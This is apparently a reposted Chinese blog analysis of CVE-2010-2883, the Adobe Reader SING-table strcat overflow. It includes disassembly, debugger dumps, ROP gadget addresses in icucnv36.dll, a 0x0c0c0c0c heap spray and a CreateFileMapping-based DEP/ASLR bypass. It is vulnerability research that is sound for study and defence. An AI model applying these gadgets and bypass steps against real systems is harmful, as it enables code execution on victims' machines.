CVE-2010-2883分析

正文:

环境配置 :

  1. 操作系统:Windows XP SP3
  2. 调试工具:OllydbgPDFStreamDumperIDA
  3. 软件:Adobe Reader 9.3.4

漏洞点在SING表处,位于CoolType.dll文件处。 先将恶意pdf文件导入PDFStreamDumper,查看之后可以找到SING表的数据结构。

官方定义的SING的数据结构:

struct{
    char   tag[4];
    ULONG  checkSum;
    ULONG  offset;
    ULONG  length;
}

根据我们所找到的SING表的数据,可以知道偏移地址为0x11c。再往下找0x11c偏移处的内容:

但是在偏移0x10处的内容才是uniqueName域起始内容。

.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h           <-----------栈长度0x104
.text:0803DD00                 lea     ebp, [esp-4]
.text:0803DD04                 mov     eax, ___security_cookie    <---------Canary
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset sub_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"  <------SING表入栈
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]   
.text:0803DD7D                 call    sub_8021B06               <------处理sing表
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9
.text:0803DD9F                 add     eax, 10h                  <-------uniqueName域
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat                    <-------溢出!

先来看看处理SING表的那一块函数地方。 先把字符串SING入栈,后入栈edi,调试可得:

暂且还不知道他的内容是怎么回事。继续看。

后来赋值了ecx。调用完函数之后eax中函数的返回值就是原ecx的值,来对比一下前后的值。

调用前ecx:
0012E4B4  74 F3 A8 04 28 6A 1C 02 00 00 00 00 00 00 00 00  t蟥(j........
0012E4C4  CC B9 E7 00 70 E4 12 00 0C E7 12 00 54 4A 18 08  坦?p?..?.TJ
0012E4D4  01 00 00 00 D8 E4 12 00 B0 E6 12 00 00 00 00 00  ...劁.版.....
0012E4E4  E5 64 20 44 58 E8 12 00 9C AE 23 08 EF 52 08 08  錮 DX?.湲#颮
0012E4F4  50 A6 23 08 BC 2D BB 04 0B 0D 08 08 6C F3 A8 04  P???.l蟥
0012E504  D4 E4 12 00 50 E5 12 00 AF F8 11 01 FF FF FF FF  凿.P?.
---------------------------------------------------------------------------
调用后eax:
0012E4B4  6C 0B A9 04 DF 1D 00 00 00 00 00 00 00 00 00 00  l??..........
0012E4C4  CC B9 E7 00 70 E4 12 00 0C E7 12 00 54 4A 18 08  坦?p?..?.TJ
0012E4D4  01 00 00 00 D8 E4 12 00 B0 E6 12 00 00 00 00 00  ...劁.版.....
0012E4E4  E5 64 20 44 58 E8 12 00 9C AE 23 08 EF 52 08 08  錮 DX?.湲#颮
0012E4F4  50 A6 23 08 BC 2D BB 04 0B 0D 08 08 6C F3 A8 04  P???.l蟥
0012E504  D4 E4 12 00 50 E5 12 00 AF F8 11 01 FF FF FF FF  凿.P?.

前八个字节发生了变化。在看后四字节0x1DDF。这不就是前面所看到的数据长度吗?所以我们可以推测出该函数大致上就是处理SING表内容的。再看看前四字节,调用完函数之后又重新赋值了一遍eax,刚好是把前四字节赋值给了eax。再看看后面对于eax的调用,又有一处加上了0x10,所以我们看看其地址处的内容:

d 0x4A90B6C :
04A90B6C  00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A  ...........:
04A90B7C  98 66 51 E6 AB 53 8B E7 14 A7 82 4A 0C 0C 0C 0C  榝Q娅S嬬J....
04A90B8C  16 0A 12 37 7A 8C E7 36 3F DC A9 03 A1 E1 CF CB  .7z岀6?堠♂纤
04A90B9C  7B 78 91 C5 8B 8C F7 5F 3D C8 2F 90 40 D3 35 1E  {x懪媽鱛=?怈?
04A90BAC  24 0B 45 5F 64 6D 61 0A 1D 5B 9E 6C 2E F6 6A EB  $E_dma.[瀕.鰆

这不就是前面所看到的SING表内容吗,后面调用eax加上0x10的原因就在于加上0x10后的地址处内容才是uniqueName域的内容。 然后看edi的作用,edi寄存器所指的地址内容设置一下内存访问断点,查看一下被什么调用即可,经多次查看之后就可以发现edi偏移0x30处的0x4A8F374被下面图中处代码调用过。

在查看一下该处地址的对应内容:

d 0x4A8F374:
04A8F374  00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32  .......OS/2
04A8F384  B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54  確鬰..雙...VPCLT
04A8F394  D1 8A 5E 97 00 00 EB C8 00 00 00 36 63 6D 61 70  褗^?.肴...6cmap
04A8F3A4  A4 C3 E8 A0 00 00 B1 6C 00 00 03 58 63 76 74 20  っ锠..眑..Xcvt
04A8F3B4  FF D3 1D 39 00 00 1E FC 00 00 01 FC 66 70 67 6D  ?9..?.黤pgm
04A8F3C4  E7 B4 F1 C4 00 00 26 60 00 00 00 8B 67 61 73 70  绱衲..&`...媑asp
04A8F3D4  00 07 00 07 00 01 01 48 00 00 00 0C 67 6C 79 66  ...H....glyf
04A8F3E4  0C 74 41 CF 00 00 26 EC 00 00 8A 7E 68 64 6D 78  .tA?.&?.妦hdmx
04A8F3F4  34 F0 21 0E 00 00 EC 00 00 00 15 48 68 65 61 64  4?..?..Hhead

这是PDF文件中的字体对象。 所以说我们这里已经搞清楚了第一个call函数的用途: 函数通过传入表目录项的 TAG 名称,然后读取表目录项,处理后返回两个元素,第一个元素为表目录的内存映射地址,第二个元素为表目录的长度。 搞清了第一个函数之后再看看下一个漏洞点的函数:

.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat

用Ollydbg调试看看。

先是加上了0x10,即前文提到的uniqueName域,压入栈中,而后将ebp入栈,再调用strcat函数,所以说就是将uniqueName域拼接到ebp指向的地址。 因为并没有限制拼接的长度,所以就产生了溢出。

ROP :

接下来跟踪查看一下作者所构造的ROP链,是如何来利用这个溢出漏洞的。跟踪反复调试过之后可以得出,先执行到此处。

.text:0803DDD2                 pop     ecx
.text:0803DDD3
.text:0803DDD3 loc_803DDD3:                            ; CODE XREF: sub_803DCF9+D1j
.text:0803DDD3                 cmp     [ebp+108h+var_119], 0
.text:0803DDD7                 jnz     loc_803DEA9             <----------跳转实现

---------------------------------------------------------------------------

.text:0803DEA9 loc_803DEA9:                            ; CODE XREF: sub_803DCF9+5Ej
.text:0803DEA9                                         ; sub_803DCF9+DEj ...
.text:0803DEA9                 lea     eax, [ebp+108h+var_124]
.text:0803DEAC                 push    eax
.text:0803DEAD                 push    ebx
.text:0803DEAE                 push    edi
.text:0803DEAF                 call    sub_8016BDE

进入sub_8016BDE函数中:

.text:08016BDE                 push    ebp
.text:08016BDF                 sub     esp, 660h
.text:08016BE5                 lea     ebp, [esp-4]
.text:08016BE9                 mov     eax, ___security_cookie
.text:08016BEE                 xor     eax, ebp
.text:08016BF0                 mov     [ebp+664h+var_4], eax
.text:08016BF6                 push    50h
.text:08016BF8                 mov     eax, offset sub_8175D32
.text:08016BFD                 call    __EH_prolog3_catch
.text:08016C02                 mov     eax, [ebp+664h+arg_8]
.text:08016C08                 mov     esi, [ebp+664h+arg_4]
.text:08016C0E                 mov     edi, [ebp+664h+arg_0]
.text:08016C14                 mov     [ebp+664h+var_6BC], eax
.text:08016C17                 mov     eax, offset CriticalSection
.text:08016C1C                 push    eax             ; lpCriticalSection
.text:08016C1D                 mov     [ebp+664h+var_680], esi
.text:08016C20                 mov     [ebp+664h+var_6C0], eax
.text:08016C23                 call    ds:EnterCriticalSection
.text:08016C29                 xor     ebx, ebx
.text:08016C2B                 push    edi
.text:08016C2C                 mov     [ebp+664h+var_668], ebx
.text:08016C2F                 mov     [ebp+664h+var_694], ebx
.text:08016C32                 mov     [ebp+664h+var_678], ebx
.text:08016C35                 call    sub_801BB1C
.text:08016C3A                 cmp     eax, ebx
.text:08016C3C                 pop     ecx
.text:08016C3D                 mov     [ebp+664h+var_67C], eax
.text:08016C40                 jz      loc_80172CE
.text:08016C46                 push    1
.text:08016C48                 push    ebx
.text:08016C49                 push    ebx
.text:08016C4A                 lea     eax, [ebp+664h+var_678]
.text:08016C4D                 push    eax
.text:08016C4E                 lea     eax, [ebp+664h+var_694]
.text:08016C51                 push    eax
.text:08016C52                 push    edi
.text:08016C53                 push    [ebp+664h+var_67C]
.text:08016C56                 call    sub_801BB21

而后进入到sub_801BB21函数当中:

.text:0801BB21                 push    ebp
.text:0801BB22                 mov     ebp, esp
.text:0801BB24                 push    [ebp+arg_18]
.text:0801BB27                 mov     ecx, [ebp+arg_0]
.text:0801BB2A                 push    [ebp+arg_14]
.text:0801BB2D                 mov     eax, [ecx]
.text:0801BB2F                 push    [ebp+arg_10]
.text:0801BB32                 inc     dword_823A6A0
.text:0801BB38                 push    [ebp+arg_C]
.text:0801BB3B                 push    [ebp+arg_8]
.text:0801BB3E                 push    [ebp+arg_4]
.text:0801BB41                 call    dword ptr [eax]

再进入[eax]函数处,即0x808b116:

.text:0808B116                 push    ebp
.text:0808B117                 mov     ebp, esp
.text:0808B119                 push    ecx
.text:0808B11A                 push    ebx
.text:0808B11B                 push    esi
.text:0808B11C                 push    edi
.text:0808B11D                 mov     edi, [ebp+arg_0]
.text:0808B120                 push    edi
.text:0808B121                 mov     esi, ecx
.text:0808B123                 call    sub_808B02A
.text:0808B128                 xor     ebx, ebx
.text:0808B12A                 test    al, al
.text:0808B12C                 jz      loc_808B2CB
.text:0808B132                 cmp     [ebp+arg_14], bl
.text:0808B135                 jnz     loc_808B2CB           <--------跳转实现

---------------------------------------------------------------------------

.text:0808B2CB
.text:0808B2CB loc_808B2CB:                            ; CODE XREF: sub_808B116+16j
.text:0808B2CB                                         ; sub_808B116+1Fj
.text:0808B2CB                 mov     eax, [esi]
.text:0808B2CD                 mov     [ebp+arg_17], bl
.text:0808B2D0                 call    dword ptr [eax+70h]
.text:0808B2D3                 push    edi
.text:0808B2D4                 lea     ecx, [esi+14h]
.text:0808B2D7                 call    sub_801E540
.text:0808B2DC                 mov     byte ptr [esi+0E0h], 1
.text:0808B2E3                 mov     eax, [edi+3Ch]
.text:0808B2E6                 cmp     eax, ebx
.text:0808B2E8                 mov     [esi+2F4h], eax
.text:0808B2EE                 mov     [esi+2F8h], ebx
.text:0808B2F4                 mov     [ebp+var_4], ebx
.text:0808B2F7                 jnz     short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9:                            ; CODE XREF: sub_808B116+28Ej
.text:0808B2F9                 xor     al, al
.text:0808B2FB                 jmp     loc_808B594
.text:0808B300 ; ---------------------------------------------------------------------------
.text:0808B300
.text:0808B300 loc_808B300:                            ; CODE XREF: sub_808B116+1E1j
.text:0808B300                 lea     ecx, [ebp+var_4]
.text:0808B303                 push    ecx
.text:0808B304                 push    ebx
.text:0808B305                 push    3
.text:0808B307                 push    eax
.text:0808B308                 call    dword ptr [eax]

再进入[eax]处的存放地址,实际上是栈中存放的地址: eax:0x0012E6D0,call地址:0x4A80CB38 返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49 而strcat拼接的地址是从0x0012E4D8开始的。 继续看接下来的调用:

4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E    C9              leave
4A80CB3F    C3              retn
  1. 第一条指令 调用前:ebp --> 0x0012DD48 调用后:ebp --> 0x0012E4DC
  2. 第二条指令 esp --> 0x0012E4E0 ebp --> 0xE78B53AB
  3. 第三条指令 eip --> 0x4A82A714 icucnv36.4A82A714

接下去的ROP:

4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715    C3              retn

esp --> 0x0c0c0c0c 接下去就是在堆内存0x0c0c0c0c处构造好的shellcode了。 这种在0x0c0c0c0c处构造shellcode的方法是堆喷射。

流程在栈中的执行情况:

我画了一个图,可以自行边调试边参考我画的在栈中执行的流程图。

可以看出来该跳转的稳定性主要来源于0x4A80CB38和0x4A82A714这两处地址,两处地址都位于icucnv26.dll的地址空间,而在Adobe的各个版本上,这个dll上的两处地址一直不变,所以该exploit在各个版本都很稳定。

执行到堆喷射后 :

返回到0x0C0C0C0C后栈中的情况:

0C0C0C0C   4A8063A5  icucnv36.4A8063A5
0C0C0C10   4A8A0000  icucnv36.4A8A0000
0C0C0C14   4A802196  icucnv36.4A802196
0C0C0C18   4A801F90  icucnv36.4A801F90
0C0C0C1C   4A84903C  <&KERNEL32.CreateFileA>
0C0C0C20   4A80B692  icucnv36.4A80B692
0C0C0C24   4A801064  icucnv36.4A801064
0C0C0C28   4A8522C8  icucnv36.4A8522C8
0C0C0C2C   10000000  sqlite.10000000
0C0C0C30   00000000

先跳到0x4A8063A5处,

4A8063A5    59              pop ecx                                  ; icucnv36.4A8A0000
4A8063A6    C3              retn

而后转入0x4A802196,

4A802196    8901            mov dword ptr ds:[ecx],eax
4A802198    C3              retn

再转入0x4A801F90

4A801F90    58              pop eax                               ; <&KERNEL32.CreateFileA>
4A801F91    C3              retn

转入0x4A80B692

4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.CreateFileA

调用CreateFile函数,再查看栈中的内容:

0C0C0C24   4A801064  /CALL 到 CreateFileA
0C0C0C28   4A8522C8  |FileName = "iso88591"
0C0C0C2C   10000000  |Access = GENERIC_ALL
0C0C0C30   00000000  |ShareMode = 0
0C0C0C34   00000000  |pSecurity = NULL
0C0C0C38   00000002  |Mode = CREATE_ALWAYS
0C0C0C3C   00000102  |Attributes = HIDDEN|TEMPORARY
0C0C0C40   00000000  \hTemplateFile = NULL

创建了一个名为“iso88591”的文件。 执行完该函数之后又用前面ROP调用CreateFileA相同的手法调用了CreateFileMapping函数,该函数创建了文件内存映射。此时调用的各个参数为:

0C0C0C68   4A801064  /CALL 到 CreateFileMappingA
0C0C0C6C   0000043C  |hFile = 0000043C
0C0C0C70   00000000  |pSecurity = NULL
0C0C0C74   00000040  |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78   00000000  |MaximumSizeHigh = 0x0
0C0C0C7C   00010000  |MaximumSizeLow = 0x10000
0C0C0C80   00000000  \MapName = NULL

后又执行,

4A80B692  - FF20            jmp dword ptr ds:[eax]                 ; kernel32.MapViewOfFile

调用MapViewOfFile函数,各个参数:

0C0C0CA8   4A801064  /CALL 到 MapViewOfFile
0C0C0CAC   00000440  |hMapObject = 00000440
0C0C0CB0   00000022  |AccessMode = 0x22
0C0C0CB4   00000000  |OffsetHigh = 0x0
0C0C0CB8   00000000  |OffsetLow = 0x0
0C0C0CBC   00010000  \MapSize = 10000 (65536.)

后调用memcpy函数,各个参数:

0C0C0D44   04490000  /CALL 到 memcpy
0C0C0D48   04490000  |dest = 04490000
0C0C0D4C   0C0C0D54  |src = 0C0C0D54
0C0C0D50   00001000  \n = 1000 (4096.)

这里因为有着DEP的机制,所以说shellcode在堆栈上是无法执行的,因此这里就可以创建一个文件对象,然后映射到可读可写可执行的内存区域,再将shellcode拷贝到该区域,就可以执行shellcode了。而且恰好我们构造的ROP都处于icucnv36.dll,此处不受aslr保护,成功绕过aslr

成功执行。

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-10-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏程序员同行者

saltstack 初始化LINUX系统

前面我们已经了解了saltstack的基础功能,现在就可以使用saltstack为初始化新安装的linux系统。

2116
来自专栏北京马哥教育

一些Centos Python生产环境的部署命令

拿到一台干净的centos之后, 初始化Python环境, 一些命令和问题记录而已 可以搞成脚本自动初始化, 当然, 用docker更好 基础环境 1. 创建...

3134
来自专栏沃趣科技

Oracle数据库性能障碍分析利器:SYSTEMSTATE DUMP介绍

作者 孟庆辉 沃趣科技数据库工程师 当数据库出现严重的性能问题或者hang了的时候,我们非常需要通过systemstate dump来知道进程在做什么,在等待...

3727
来自专栏高性能服务器开发

+从零实现一款12306刷票软件1.2

当然,这里需要说明一下的就是,由于全国的火车站点信息文件比较大,我们程序解析起来时间较长,加上火车站编码信息并不是经常变动,所以,我们我们没必要每次都下载这个s...

2032
来自专栏CSDN技术头条

资源控制在大数据和云计算平台中的应用

本文针对大数据平台中资源控制这个层面来详细介绍资源控制在不同操作系统上的具体技术实现,以及大数据平台和资源控制的集成。

6378
来自专栏乐沙弥的世界

RMAN 配置、监控与管理

一个通道代表一个到设备(磁盘或磁带)的数据流并且在目标数据库或辅助数据库实例上产生一个相应的服务器会话(server session)

1231
来自专栏哈雷彗星撞地球

Mac下Jenkins构建+蒲公英分发构建过程补充

因为持续构建完成后,有的公司可能不是用企业证书,需要借助蒲公英、fir.im等分发工具供测试人员安装,所以构建完成后自动上传蒲公英、fir.im也很重要。这里记...

773
来自专栏JadePeng的技术博客

K8S集群安装

主要参考 https://github.com/opsnull/follow-me-install-kubernetes-cluster

6542
来自专栏Netkiller

高级运维工程师面试题(更新中)

高级运维工程师 服务器硬件 RAID 磁盘阵列 简述 RAID? RAID 0 5 6 10 50 都适用于那些场景? 数据库适用那种 RAID? RAID 1...

1K4
来自专栏杨建荣的学习笔记

奇怪的登录问题及解决 (75天)

最近新建了好几个测试库,有一个库在过了一段时间之后,出现了很奇怪的问题,有时候能够登录,有时候又登不上。 通过sqlplus登录,报错如下: >sqlplus ...

2126

扫码关注云+社区

领取腾讯云代金券